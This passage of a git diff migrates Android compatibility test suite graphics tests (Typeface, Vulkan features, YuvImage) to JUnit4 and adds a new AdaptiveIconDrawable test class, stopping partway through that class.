+        assertNotSame(sansSerifTypeface, serifTypeface);
+        assertNotSame(sansSerifTypeface, boldSansSerifTypeface);
+        assertNotSame(sansSerifTypeface, boldSerifTypeface);
+        assertNotSame(sansSerifTypeface, italicSansSerifTypeface);
+        assertNotSame(sansSerifTypeface, italicSerifTypeface);
+        assertNotSame(serifTypeface, boldSansSerifTypeface);
+        assertNotSame(serifTypeface, boldSerifTypeface);
+        assertNotSame(serifTypeface, italicSansSerifTypeface);
+        assertNotSame(serifTypeface, italicSerifTypeface);
+        assertNotSame(boldSansSerifTypeface, boldSerifTypeface);
+        assertNotSame(boldSansSerifTypeface, italicSansSerifTypeface);
+        assertNotSame(boldSansSerifTypeface, italicSerifTypeface);
+        assertNotSame(boldSerifTypeface, italicSansSerifTypeface);
+        assertNotSame(boldSerifTypeface, italicSerifTypeface);
+        assertNotSame(italicSansSerifTypeface, italicSerifTypeface);
+
+        // Cache should work for the same fallback.
+        assertSame(sansSerifTypeface,
+                new Typeface.Builder(assets, "samplefont.ttf").setFallback("sans-serif")
+                        .setTtcIndex(100 /* non-existing ttc index */).build());
+        assertSame(serifTypeface,
+                new Typeface.Builder(assets, "samplefont.ttf").setFallback("serif")
+                        .setTtcIndex(100 /* non-existing ttc index */).build());
+        assertSame(boldSansSerifTypeface,
+                new Typeface.Builder(assets, "samplefont.ttf").setFallback("sans-serif")
+                        .setTtcIndex(100 /* non-existing ttc index */).setWeight(700).build());
+        assertSame(boldSerifTypeface,
+                new Typeface.Builder(assets, "samplefont.ttf").setFallback("serif")
+                        .setTtcIndex(100 /* non-existing ttc index */).setWeight(700).build());
+        assertSame(italicSansSerifTypeface,
+                new Typeface.Builder(assets, "samplefont.ttf").setFallback("sans-serif")
+                        .setTtcIndex(100 /* non-existing ttc index */).setItalic(true).build());
+        assertSame(italicSerifTypeface,
+                new Typeface.Builder(assets, "samplefont.ttf").setFallback("serif")
+                        .setTtcIndex(100 /* non-existing ttc index */).setItalic(true).build());
+    }
+
+    @Test
+    public void testTypefaceBuilder_FileSourceFD() {
+        try (FileInputStream fis = new FileInputStream(obtainPath())) {
+            assertNotNull(new Typeface.Builder(fis.getFD()).build());
+        } catch (IOException e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    @Test
+    public void testTypeface_SupportedCmapEncodingTest() {
+        // We support the following combinations of cmap platfrom/endcoding pairs.
+        String[] fontPaths = {
+            "CmapPlatform0Encoding0.ttf",  // Platform ID == 0, Encoding ID == 0
+            "CmapPlatform0Encoding1.ttf",  // Platform ID == 0, Encoding ID == 1
+            "CmapPlatform0Encoding2.ttf",  // Platform ID == 0, Encoding ID == 2
+            "CmapPlatform0Encoding3.ttf",  // Platform ID == 0, Encoding ID == 3
+            "CmapPlatform0Encoding4.ttf",  // Platform ID == 0, Encoding ID == 4
+            "CmapPlatform0Encoding6.ttf",  // Platform ID == 0, Encoding ID == 6
+            "CmapPlatform3Encoding1.ttf",  // Platform ID == 3, Encoding ID == 1
+            "CmapPlatform3Encoding10.ttf",  // Platform ID == 3, Encoding ID == 10
+        };
+
+        for (String fontPath : fontPaths) {
+            Typeface typeface = Typeface.createFromAsset(mContext.getAssets(), fontPath);
+            assertNotNull(typeface);
+            Paint p = new Paint();
+            final String testString = "a";
+            float widthDefaultTypeface = p.measureText(testString);
+            p.setTypeface(typeface);
+            float widthCustomTypeface = p.measureText(testString);
+            // The width of the glyph "a" from above fonts are 2em.
+            // So the width should be different from the default one.
+            assertNotEquals(widthDefaultTypeface, widthCustomTypeface, 1.0f);
+        }
+    }
+
+    @Test
+    public void testTypefaceBuilder_customFallback() {
+        final String fontPath = "samplefont2.ttf";
+        final Typeface regularTypeface = new Typeface.Builder(mContext.getAssets(), fontPath)
+                .setWeight(400).build();
+        final Typeface blackTypeface = new Typeface.Builder(mContext.getAssets(), fontPath)
+                .setWeight(900).build();
+
+        // W is not supported by samplefont2.ttf
+        final String testString = "WWWWWWWWWWWWWWWWWWWWW";
+
+        final Paint p = new Paint();
+        p.setTextSize(128);
+
+        p.setTypeface(regularTypeface);
+        final float widthFromRegular = p.measureText(testString);
+
+        p.setTypeface(blackTypeface);
+        final float widthFromBlack = p.measureText(testString);
+
+        assertTrue(Math.abs(widthFromRegular - widthFromBlack) > 1.0f);
+    }
 }
diff --git a/tests/tests/graphics/src/android/graphics/cts/VulkanFeaturesTest.java b/tests/tests/graphics/src/android/graphics/cts/VulkanFeaturesTest.java
index d3edcbe..21e9086 100644
--- a/tests/tests/graphics/src/android/graphics/cts/VulkanFeaturesTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/VulkanFeaturesTest.java
@@ -16,21 +16,34 @@
 
 package android.graphics.cts;
 
-import android.content.Context;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+
 import android.content.pm.FeatureInfo;
 import android.content.pm.PackageManager;
-import android.test.AndroidTestCase;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.Log;
-import java.io.UnsupportedEncodingException;
+
 import org.json.JSONArray;
 import org.json.JSONException;
 import org.json.JSONObject;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.UnsupportedEncodingException;
 
 /**
  * Test that the Vulkan loader is present, supports the required extensions, and that system
  * features accurately indicate the capabilities of the Vulkan driver if one exists.
  */
-public class VulkanFeaturesTest extends AndroidTestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class VulkanFeaturesTest {
 
     static {
         System.loadLibrary("ctsgraphics_jni");
@@ -43,20 +56,15 @@
     // and there was an important bugfix relative to 1.0.2.
     private static final int VULKAN_1_0 = 0x00400003; // 1.0.3
 
-    PackageManager mPm;
-    FeatureInfo mVulkanHardwareLevel = null;
-    FeatureInfo mVulkanHardwareVersion = null;
-    JSONObject mVulkanDevices[];
+    private PackageManager mPm;
+    private FeatureInfo mVulkanHardwareLevel = null;
+    private FeatureInfo mVulkanHardwareVersion = null;
+    private FeatureInfo mVulkanHardwareCompute = null;
+    private JSONObject mVulkanDevices[];
 
-    public VulkanFeaturesTest() {
-        super();
-    }
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
-        mPm = getContext().getPackageManager();
+    @Before
+    public void setup() throws Throwable {
+        mPm = InstrumentationRegistry.getTargetContext().getPackageManager();
         FeatureInfo features[] = mPm.getSystemAvailableFeatures();
         if (features != null) {
             for (FeatureInfo feature : features) {
@@ -70,6 +78,11 @@
                     if (DEBUG) {
                         Log.d(TAG, feature.name + "=0x" + Integer.toHexString(feature.version));
                     }
+                } else if (PackageManager.FEATURE_VULKAN_HARDWARE_COMPUTE.equals(feature.name)) {
+                    mVulkanHardwareCompute = feature;
+                    if (DEBUG) {
+                        Log.d(TAG, feature.name + "=" + feature.version);
+                    }
                 }
             }
         }
@@ -77,6 +90,7 @@
         mVulkanDevices = getVulkanDevices();
     }
 
+    @Test
     public void testVulkanHardwareFeatures() throws JSONException {
         if (DEBUG) {
             Log.d(TAG, "Inspecting " + mVulkanDevices.length + " devices");
@@ -88,6 +102,9 @@
             assertNull("System feature " + PackageManager.FEATURE_VULKAN_HARDWARE_VERSION +
                        " is supported, but no Vulkan physical devices are available",
                        mVulkanHardwareLevel);
+            assertNull("System feature " + PackageManager.FEATURE_VULKAN_HARDWARE_COMPUTE +
+                       " is supported, but no Vulkan physical devices are available",
+                       mVulkanHardwareCompute);
             return;
         }
         assertNotNull("Vulkan physical devices are available, but system feature " +
@@ -108,20 +125,31 @@
                    " version 0x" + Integer.toHexString(mVulkanHardwareVersion.version) + " is not" +
                    " one of the versions allowed",
                    isHardwareVersionAllowed(mVulkanHardwareVersion.version));
+        if (mVulkanHardwareCompute != null) {
+            assertTrue("System feature " + PackageManager.FEATURE_VULKAN_HARDWARE_COMPUTE +
+                       " version " + mVulkanHardwareCompute.version +
+                       " is not one of the versions allowed",
+                       mVulkanHardwareCompute.version == 0);
+        }
 
         JSONObject bestDevice = null;
         int bestDeviceLevel = -1;
+        int bestComputeLevel = -1;
         int bestDeviceVersion = -1;
         for (JSONObject device : mVulkanDevices) {
             int level = determineHardwareLevel(device);
+            int compute = determineHardwareCompute(device);
             int version = determineHardwareVersion(device);
             if (DEBUG) {
                 Log.d(TAG, device.getJSONObject("properties").getString("deviceName") +
-                    ": level=" + level + " version=0x" + Integer.toHexString(version));
+                    ": level=" + level + " compute=" + compute +
+                    " version=0x" + Integer.toHexString(version));
             }
-            if (level >= bestDeviceLevel && version >= bestDeviceVersion) {
+            if (level >= bestDeviceLevel && compute >= bestComputeLevel &&
+                    version >= bestDeviceVersion) {
                 bestDevice = device;
                 bestDeviceLevel = level;
+                bestComputeLevel = compute;
                 bestDeviceVersion = version;
             }
         }
@@ -136,8 +164,19 @@
             " isn't close enough (same major and minor version, less or equal patch version)" +
             " to best physical device version 0x" + Integer.toHexString(bestDeviceVersion),
             isVersionCompatible(bestDeviceVersion, mVulkanHardwareVersion.version));
+        if (mVulkanHardwareCompute == null) {
+            assertEquals("System feature " + PackageManager.FEATURE_VULKAN_HARDWARE_COMPUTE +
+                " not present, but required features are supported",
+                bestComputeLevel, -1);
+        } else {
+            assertEquals("System feature " + PackageManager.FEATURE_VULKAN_HARDWARE_COMPUTE +
+                " version " + mVulkanHardwareCompute.version +
+                " doesn't match best physical device hardware compute " + bestComputeLevel,
+                bestComputeLevel, mVulkanHardwareCompute.version);
+        }
     }
 
+    @Test
     public void testVulkanVersionForVrHighPerformance() {
         if (!mPm.hasSystemFeature(PackageManager.FEATURE_VR_MODE_HIGH_PERFORMANCE))
             return;
@@ -181,6 +220,23 @@
         return 1;
     }
 
+    private int determineHardwareCompute(JSONObject device) throws JSONException {
+        boolean have16bitStorage = false;
+        boolean haveVariablePointers = false;
+        JSONArray extensions = device.getJSONArray("extensions");
+        for (int i = 0; i < extensions.length(); i++) {
+            String name = extensions.getJSONObject(i).getString("extensionName");
+            if (name.equals("VK_KHR_16bit_storage"))
+                have16bitStorage = true;
+            else if (name.equals("VK_KHR_variable_pointers"))
+                haveVariablePointers = true;
+        }
+        if (!have16bitStorage || !haveVariablePointers) {
+            return -1;
+        }
+        return 0;
+    }
+
     private int determineHardwareVersion(JSONObject device) throws JSONException {
         return device.getJSONObject("properties").getInt("apiVersion");
     }
diff --git a/tests/tests/graphics/src/android/graphics/cts/YuvImageTest.java b/tests/tests/graphics/src/android/graphics/cts/YuvImageTest.java
index a2038b4..bebdc58 100644
--- a/tests/tests/graphics/src/android/graphics/cts/YuvImageTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/YuvImageTest.java
@@ -15,29 +15,33 @@
  */
 package android.graphics.cts;
 
-import java.io.ByteArrayOutputStream;
-import java.io.OutputStream;
-import java.lang.Math;
-import java.io.IOException;
-import java.util.Arrays;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
 
 import android.content.res.Resources;
 import android.graphics.Bitmap;
 import android.graphics.BitmapFactory;
-import android.graphics.Color;
 import android.graphics.Canvas;
+import android.graphics.Color;
 import android.graphics.ImageFormat;
-import android.graphics.Matrix;
 import android.graphics.Rect;
 import android.graphics.YuvImage;
-import android.test.AndroidTestCase;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.Log;
 
-import android.graphics.cts.R;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
+import java.io.ByteArrayOutputStream;
+import java.util.Arrays;
 
-public class YuvImageTest extends AndroidTestCase {
-
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class YuvImageTest {
     // Coefficients are taken from jcolor.c in libjpeg.
     private static final int CSHIFT = 16;
     private static final int CYR = 19595;
@@ -50,55 +54,52 @@
     private static final int CVG = -27439;
     private static final int CVB = -5329;
 
-    private static String TAG = "YuvImageTest";
+    private static final String TAG = "YuvImageTest";
 
-    private int[] mFormats = { ImageFormat.NV21, ImageFormat.YUY2 };
+    private static final int[] FORMATS = { ImageFormat.NV21, ImageFormat.YUY2 };
 
     private static final int WIDTH = 256;
     private static final int HEIGHT = 128;
-    private Bitmap[] mTestBitmaps = new Bitmap[1];
 
-    private int[] mRectWidths = { 128, 124, 123 };
-    private int[] mRectHeights = { 64, 60, 59 };
+    private static final int[] RECT_WIDTHS = { 128, 124, 123 };
+    private static final int[] RECT_HEIGHTS = { 64, 60, 59 };
 
     // Various rectangles:
     // mRects[0] : a normal one.
     // mRects[1] : same size to that of mRects[1], but its left-top point is shifted
     // mRects[2] : sides are not multiples of 16
     // mRects[3] : the left-top point is at an odd position
-    private Rect[] mRects = { new Rect(0, 0, 0 + mRectWidths[0],  0 + mRectHeights[0]),
-            new Rect(10, 10, 10 + mRectWidths[0], 10 + mRectHeights[0]),
-            new Rect(0, 0, 0 + mRectWidths[1], 0 + mRectHeights[1]),
-            new Rect(11, 11, 11 + mRectWidths[1], 11 + mRectHeights[1]) };
+    private static final Rect[] RECTS = { new Rect(0, 0, 0 + RECT_WIDTHS[0],  0 + RECT_HEIGHTS[0]),
+            new Rect(10, 10, 10 + RECT_WIDTHS[0], 10 + RECT_HEIGHTS[0]),
+            new Rect(0, 0, 0 + RECT_WIDTHS[1], 0 + RECT_HEIGHTS[1]),
+            new Rect(11, 11, 11 + RECT_WIDTHS[1], 11 + RECT_HEIGHTS[1]) };
 
     // Two rectangles of same size but at different positions
-    private Rect[] mRectsShifted = { mRects[0], mRects[1] };
+    private static final Rect[] RECTS_SHIFTED = { RECTS[0], RECTS[1] };
 
     // A rect whose side lengths are odd.
-    private Rect mRectOddSides = new Rect(10, 10, 10 + mRectWidths[2],
-            10 + mRectHeights[2]);
+    private static final Rect RECT_ODD_SIDES = new Rect(10, 10, 10 + RECT_WIDTHS[2],
+            10 + RECT_HEIGHTS[2]);
 
-    private int[] mPaddings = { 0, 32 };
+    private static final int[] PADDINGS = { 0, 32 };
 
     // There are three color components and
     // each should be within a square difference of 15 * 15.
-    private int mMseMargin = 3 * (15 * 15);
+    private static final int MSE_MARGIN = 3 * (15 * 15);
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-    }
+    private Bitmap[] mTestBitmaps = new Bitmap[1];
 
-    public void testYuvImage(){
+    @Test
+    public void testYuvImage() {
         int width = 100;
         int height = 100;
         byte[] yuv = new byte[width * height * 2];
         YuvImage image;
 
         // normal case: test that the required formats are all supported
-        for (int i = 0; i < mFormats.length; ++i) {
+        for (int i = 0; i < FORMATS.length; ++i) {
             try {
-                image = new YuvImage(yuv, mFormats[i], width, height, null);
+                new YuvImage(yuv, FORMATS[i], width, height, null);
             } catch (Exception e) {
                 Log.e(TAG, "unexpected exception", e);
                 fail("unexpected exception");
@@ -106,88 +107,78 @@
         }
 
         // normal case: test that default strides are returned correctly
-        for (int i = 0; i < mFormats.length; ++i) {
+        for (int i = 0; i < FORMATS.length; ++i) {
             int[] expected = null;
             int[] actual = null;
-            if (mFormats[i] == ImageFormat.NV21) {
-                expected = new int[] {width, width};
-            } else if (mFormats[i] == ImageFormat.YUY2) {
-                expected = new int[] {width * 2};
+            if (FORMATS[i] == ImageFormat.NV21) {
+                expected = new int[]{width, width};
+            } else if (FORMATS[i] == ImageFormat.YUY2) {
+                expected = new int[]{width * 2};
             }
 
             try {
-                image = new YuvImage(yuv, mFormats[i], width, height, null);
+                image = new YuvImage(yuv, FORMATS[i], width, height, null);
                 actual = image.getStrides();
                 assertTrue("default strides not calculated correctly",
                         Arrays.equals(expected, actual));
-            } catch (Exception e){
+            } catch (Exception e) {
                 Log.e(TAG, "unexpected exception", e);
                 fail("unexpected exception");
             }
         }
+    }
 
-        int format = mFormats[0];
+    @Test(expected=IllegalArgumentException.class)
+    public void testYuvImageNegativeWidth(){
+        new YuvImage(new byte[100 * 100 * 2], FORMATS[0], -1, 100, null);
+    }
 
-        // abnormal case: width is non-positive
-        try {
-            image = new YuvImage(yuv, format, -1, height, null);
-            fail("not catching illegal width");
-        } catch(IllegalArgumentException e) {
-          // expected
-        }
+    @Test(expected=IllegalArgumentException.class)
+    public void testYuvImageNegativeHeight(){
+        new YuvImage(new byte[100 * 100 * 2], FORMATS[0], 100, -1, null);
+    }
 
-        // abnormal case: height is non-positive
-        try {
-            image = new YuvImage(yuv, format, width, -1, null);
-            fail("not catching illegal height");
-        } catch(IllegalArgumentException e) {
-          // expected
-        }
-
-        // abnormal case: yuv array is null
-        try {
-            image = new YuvImage(null, format, width, height, null);
-            fail("not catching null yuv data");
-        } catch(IllegalArgumentException e) {
-          // expected
-        }
-
+    @Test(expected=IllegalArgumentException.class)
+    public void testYuvImageNullArray(){
+        new YuvImage(null, FORMATS[0], 100, 100, null);
    }
 
+    @Test
     public void testCompressYuvToJpeg() {
         generateTestBitmaps(WIDTH, HEIGHT);
 
         // test if handling compression parameters correctly
-        checkParameters();
+        verifyParameters();
 
         // test various cases by varing
         // <ImageFormat, Bitmap, HasPaddings, Rect>
-        for (int i = 0; i < mFormats.length; ++i) {
+        for (int i = 0; i < FORMATS.length; ++i) {
             for (int j = 0; j < mTestBitmaps.length; ++j) {
-                for (int k = 0; k < mPaddings.length; ++k) {
-                    YuvImage image = generateYuvImage(mFormats[i],
-                        mTestBitmaps[j], mPaddings[k]);
-                    for (int l = 0; l < mRects.length; ++l) {
+                for (int k = 0; k < PADDINGS.length; ++k) {
+                    YuvImage image = generateYuvImage(FORMATS[i],
+                        mTestBitmaps[j], PADDINGS[k]);
+                    for (int l = 0; l < RECTS.length; ++l) {
 
                         // test compressing the same rect in
                         // mTestBitmaps[j] and image.
                         compressRects(mTestBitmaps[j], image,
-                                mRects[l], mRects[l]);
+                                RECTS[l], RECTS[l]);
                     }
 
                     // test compressing different rects in
                     // mTestBitmap[j] and image.
-                    compressRects(mTestBitmaps[j], image, mRectsShifted[0],
-                            mRectsShifted[1]);
+                    compressRects(mTestBitmaps[j], image, RECTS_SHIFTED[0],
+                            RECTS_SHIFTED[1]);
 
                     // test compressing a rect whose side lengths are odd.
-                    compressOddRect(mTestBitmaps[j], image, mRectOddSides);
+                    compressOddRect(mTestBitmaps[j], image, RECT_ODD_SIDES);
                 }
             }
         }
 
     }
 
+    @Test
     public void testGetHeight() {
         generateTestBitmaps(WIDTH, HEIGHT);
         YuvImage image = generateYuvImage(ImageFormat.YUY2, mTestBitmaps[0], 0);
@@ -195,6 +186,7 @@
         assertEquals(mTestBitmaps[0].getWidth(), image.getWidth());
     }
 
+    @Test
     public void testGetYuvData() {
         generateTestBitmaps(WIDTH, HEIGHT);
         int width = mTestBitmaps[0].getWidth();
@@ -210,6 +202,7 @@
         assertEquals(yuv, image.getYuvData());
     }
 
+    @Test
     public void testGetYuvFormat() {
         generateTestBitmaps(WIDTH, HEIGHT);
         YuvImage image = generateYuvImage(ImageFormat.YUY2, mTestBitmaps[0], 0);
@@ -221,7 +214,7 @@
         Canvas c = new Canvas(dst);
 
         // mTestBitmap[0] = scaled testimage.jpg
-        Resources res = getContext().getResources();
+        Resources res = InstrumentationRegistry.getTargetContext().getResources();
         Bitmap src = BitmapFactory.decodeResource(res, R.drawable.testimage);
         c.drawBitmap(src, null, new Rect(0, 0, WIDTH, HEIGHT), null);
         mTestBitmaps[0] = dst;
@@ -263,8 +256,9 @@
         actual = compressDecompress(image, actualRect);
 
         Rect expectedRect = sameRect ? actualRect : rect1;
-        expected = Bitmap.createBitmap(testBitmap, expectedRect.left, expectedRect.top, expectedRect.width(), expectedRect.height());
-        compareBitmaps(expected, actual, mMseMargin, sameRect);
+        expected = Bitmap.createBitmap(testBitmap, expectedRect.left, expectedRect.top,
+                expectedRect.width(), expectedRect.height());
+        compareBitmaps(expected, actual, MSE_MARGIN, sameRect);
     }
 
     // Compress rect in image.
@@ -280,7 +274,7 @@
         expected = Bitmap.createBitmap(testBitmap, newRect.left, newRect.top,
               newRect.width(), newRect.height());
 
-        compareBitmaps(expected, actual, mMseMargin, true);
+        compareBitmaps(expected, actual, MSE_MARGIN, true);
     }
 
     // Compress rect in image to a jpeg and then decode the jpeg to a bitmap.
@@ -392,7 +386,7 @@
         yuv[2] = (byte) (((CVR * r + CVG * g + CVB * b) >> CSHIFT) + 128);
     }
 
-    private void checkParameters() {
+    private void verifyParameters() {
         int format = ImageFormat.NV21;
         int[] argb = new int[WIDTH * HEIGHT];
         mTestBitmaps[0].getPixels(argb, 0, WIDTH, 0, 0, WIDTH, HEIGHT);
diff --git a/tests/tests/graphics/src/android/graphics/drawable/cts/AdaptiveIconDrawableTest.java b/tests/tests/graphics/src/android/graphics/drawable/cts/AdaptiveIconDrawableTest.java
new file mode 100644
index 0000000..e2254a7
--- /dev/null
+++ b/tests/tests/graphics/src/android/graphics/drawable/cts/AdaptiveIconDrawableTest.java
@@ -0,0 +1,417 @@
+package android.graphics.drawable.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.content.Context;
+import android.content.res.Resources;
+import android.graphics.Bitmap;
+import android.graphics.Bitmap.Config;
+import android.graphics.Canvas;
+import android.graphics.Color;
+import android.graphics.ColorFilter;
+import android.graphics.Path;
+import android.graphics.Path.Direction;
+import android.graphics.PixelFormat;
+import android.graphics.Rect;
+import android.graphics.Region;
+import android.graphics.cts.R;
+import android.graphics.drawable.AdaptiveIconDrawable;
+import android.graphics.drawable.BitmapDrawable;
+import android.graphics.drawable.ColorDrawable;
+import android.graphics.drawable.Drawable;
+import android.graphics.drawable.Drawable.ConstantState;
+import android.graphics.drawable.StateListDrawable;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.AttributeSet;
+import android.util.Log;
+import android.util.Xml;
+import java.io.File;
+import java.io.FileOutputStream;
+import java.util.Arrays;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.xmlpull.v1.XmlPullParser;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class AdaptiveIconDrawableTest {
+
+    public static final String TAG = AdaptiveIconDrawableTest.class.getSimpleName();
+    public static void L(String s, Object... parts) {
+        Log.d(TAG, (parts.length == 0) ? s : String.format(s, parts));
+    }
+
+    @Test
+    public void testConstructor() {
+        new AdaptiveIconDrawable(null, null);
+    }
+
+    @Test
+    public void testInflate() throws Throwable {
+        AdaptiveIconDrawable dr = new AdaptiveIconDrawable(null, null);
+
+        Resources r = InstrumentationRegistry.getTargetContext().getResources();
+        XmlPullParser parser = r.getXml(R.layout.framelayout_layout);
+        AttributeSet attrs = Xml.asAttributeSet(parser);
+
+        // Should not throw inflate exception
+        dr.inflate(r, parser, attrs);
+    }
+
+    @Test(expected=NullPointerException.class)
+    public void testInflateNull() throws Throwable {
+        AdaptiveIconDrawable dr = new AdaptiveIconDrawable(null, null);
+        dr.inflate(null, null, null);
+    }
+
+    @Test
+    public void testDraw() {
+        Canvas c = new Canvas();
+        AdaptiveIconDrawable dr = new AdaptiveIconDrawable(null, null);
+        dr.draw(c);
+    }
+
+    @Test(expected=NullPointerException.class)
+    public void testDrawNull() {
+        AdaptiveIconDrawable iconDrawable = new AdaptiveIconDrawable(
+            new ColorDrawable(Color.RED), new ColorDrawable(Color.BLUE));
+        iconDrawable.setBounds(0, 0, 100, 100);
+        iconDrawable.draw(null);
+    }
+
+    @Test
+    public void testInvalidateDrawable() {
+        AdaptiveIconDrawable iconDrawable = new AdaptiveIconDrawable(
+            new ColorDrawable(Color.RED), new ColorDrawable(Color.BLUE));
+        iconDrawable.invalidateDrawable(
+            InstrumentationRegistry.getTargetContext().getDrawable(R.drawable.pass));
+    }
+
+    @Test
+    public void testScheduleDrawable() {
+        AdaptiveIconDrawable iconDrawable = new AdaptiveIconDrawable(
+            new ColorDrawable(Color.RED), new ColorDrawable(Color.BLUE));
+        iconDrawable.scheduleDrawable(
+            InstrumentationRegistry.getTargetContext().getDrawable(R.drawable.pass),
+            () -> {}, 10);
+
+        // input null as params
+        iconDrawable.scheduleDrawable(null, null, -1);
+        // expected, no Exception thrown out, test success
+    }
+
+    @Test
+    public void testUnscheduleDrawable() {
+        AdaptiveIconDrawable iconDrawable = new AdaptiveIconDrawable(
+            new ColorDrawable(Color.RED), new ColorDrawable(Color.BLUE));
+        iconDrawable.unscheduleDrawable(
+            InstrumentationRegistry.getTargetContext().getDrawable(R.drawable.pass), () -> {});
+
+        // input null as params
+        iconDrawable.unscheduleDrawable(null, null);
+        // expected, no Exception thrown out, test success
+    }
+
+    @Test
+    public void testGetChangingConfigurations() {
+        AdaptiveIconDrawable iconDrawable = new AdaptiveIconDrawable(
+            new ColorDrawable(Color.RED), new ColorDrawable(Color.BLUE));
+        iconDrawable.setChangingConfigurations(11);
+        assertEquals(11, iconDrawable.getChangingConfigurations());
+
+        iconDrawable.setChangingConfigurations(-21);
+        assertEquals(-21, iconDrawable.getChangingConfigurations());
+    }
+
+    /**
+     * When setBound isn't called before draw method is called.
+     * Nothing is drawn.
+     */
+    @Test
+    public void testDrawWithoutSetBounds() throws Exception {
+        Drawable backgroundDrawable = new ColorDrawable(Color.BLUE);
+        Drawable foregroundDrawable = new ColorDrawable(Color.RED);
+        AdaptiveIconDrawable iconDrawable = new AdaptiveIconDrawable(backgroundDrawable, foregroundDrawable);
+        Context context = InstrumentationRegistry.getTargetContext();
+        File dir = context.getExternalFilesDir(null);
+        L("writing temp bitmaps to %s...", dir);
+
+        final Bitmap bm_test = Bitmap.createBitmap(150, 150, Bitmap.Config.ARGB_8888);
+        final Bitmap bm_org = bm_test.copy(Config.ARGB_8888, false);
+        final Canvas can1 = new Canvas(bm_test);
+
+        // Even when setBounds is not called, should not crash
+        iconDrawable.draw(can1);
+        // Draws nothing! Hence same as original.
+        if (!equalBitmaps(bm_test, bm_org)) {
+            findBitmapDifferences(bm_test, bm_org);
+            fail("bm differs, check " + dir);
+        }
+    }
+
+    /**
+     * When setBound is called, translate accordingly.
+     */
+    @Test
+    public void testDrawSetBounds() throws Exception {
+        int dpi = 4 ;
+        int top = 18 * dpi;
+        int left = 18 * dpi;
+        int right = 90 * dpi;
+        int bottom = 90 * dpi;
+        int width = right - left;
+        int height = bottom - top;
+        Context context = InstrumentationRegistry.getTargetContext();
+        AdaptiveIconDrawable iconDrawable = (AdaptiveIconDrawable) context.getResources().getDrawable(android.R.drawable.sym_def_app_icon);
+        File dir = context.getExternalFilesDir(null);
+        L("writing temp bitmaps to %s...", dir);
+        final Bitmap bm_org = Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888);
+        final Canvas can_org = new Canvas(bm_org);
+        iconDrawable.setBounds(0, 0, width, height);
+        iconDrawable.draw(can_org);
+
+        // Tested bitmap is drawn from the adaptive icon drawable.
+        final Bitmap bm_test = Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888);
+        final Canvas can_test = new Canvas(bm_test);
+
+        iconDrawable.setBounds(left, top, right, bottom);
+        can_test.translate(-left, -top);
+        iconDrawable.draw(can_test);
+        can_test.translate(left, top);
+
+
+        bm_org.compress(Bitmap.CompressFormat.PNG, 100,
+            new FileOutputStream(new File(dir, "adaptive-bm-original.png")));
+        bm_test.compress(Bitmap.CompressFormat.PNG, 100,
+            new FileOutputStream(new File(dir, "adaptive-bm-test.png")));
+        Region region = new Region(new Rect(0, 0, width, height));
+
+        Path circle = new Path();
+        circle.addCircle(width / 2, height / 2,  (right - left)/2 -10 /* room for anti-alias */, Direction.CW);
+
+        region.setPath(circle, region);
+        if (!equalBitmaps(bm_test, bm_org, region)) {
+            findBitmapDifferences(bm_test, bm_org);
+            fail("bm differs, check " + dir);
+        }
+    }
+
+    @Test
+    public void testSetVisible() {
+        AdaptiveIconDrawable iconDrawable = new AdaptiveIconDrawable(
+            new ColorDrawable(Color.RED), new ColorDrawable(Color.BLUE));
+        assertFalse(iconDrawable.setVisible(true, true)); /* unchanged */
+        assertTrue(iconDrawable.setVisible(false, true)); /* changed */
+        assertFalse(iconDrawable.setVisible(false, true)); /* unchanged */
+    }
+
+    @Test
+    public void testSetAlpha() {
+        AdaptiveIconDrawable iconDrawable = new AdaptiveIconDrawable(
+            new ColorDrawable(Color.RED), new ColorDrawable(Color.BLUE));
+        iconDrawable.setAlpha(1);
+        iconDrawable.setAlpha(-1);
+
+        iconDrawable.setAlpha(0);
+        iconDrawable.setAlpha(Integer.MAX_VALUE);
+        iconDrawable.setAlpha(Integer.MIN_VALUE);
+    }
+
+    @Test
+    public void testSetColorFilter() {
+        AdaptiveIconDrawable iconDrawable = new AdaptiveIconDrawable(
+            new ColorDrawable(Color.RED), new ColorDrawable(Color.BLUE));
+        ColorFilter cf = new ColorFilter();
+        iconDrawable.setColorFilter(cf);
+
+        // input null as param
+        iconDrawable.setColorFilter(null);
+        // expected, no Exception thrown out, test success
+    }
+
+    @Test
+    public void testGetOpacity() {
+        AdaptiveIconDrawable iconDrawable = new AdaptiveIconDrawable(
+            new ColorDrawable(Color.RED), new ColorDrawable(Color.BLUE));
+        iconDrawable.setOpacity(PixelFormat.OPAQUE);
+        assertEquals(PixelFormat.OPAQUE, iconDrawable.getOpacity());
+
+        iconDrawable.setOpacity(PixelFormat.TRANSPARENT);
+        assertEquals(PixelFormat.TRANSPARENT, iconDrawable.getOpacity());
+    }
+
+    @Test
+    public void testIsStateful() {
+        AdaptiveIconDrawable iconDrawable = new AdaptiveIconDrawable(
+            new ColorDrawable(Color.RED), new ColorDrawable(Color.BLUE));
+        assertFalse(iconDrawable.isStateful());
+
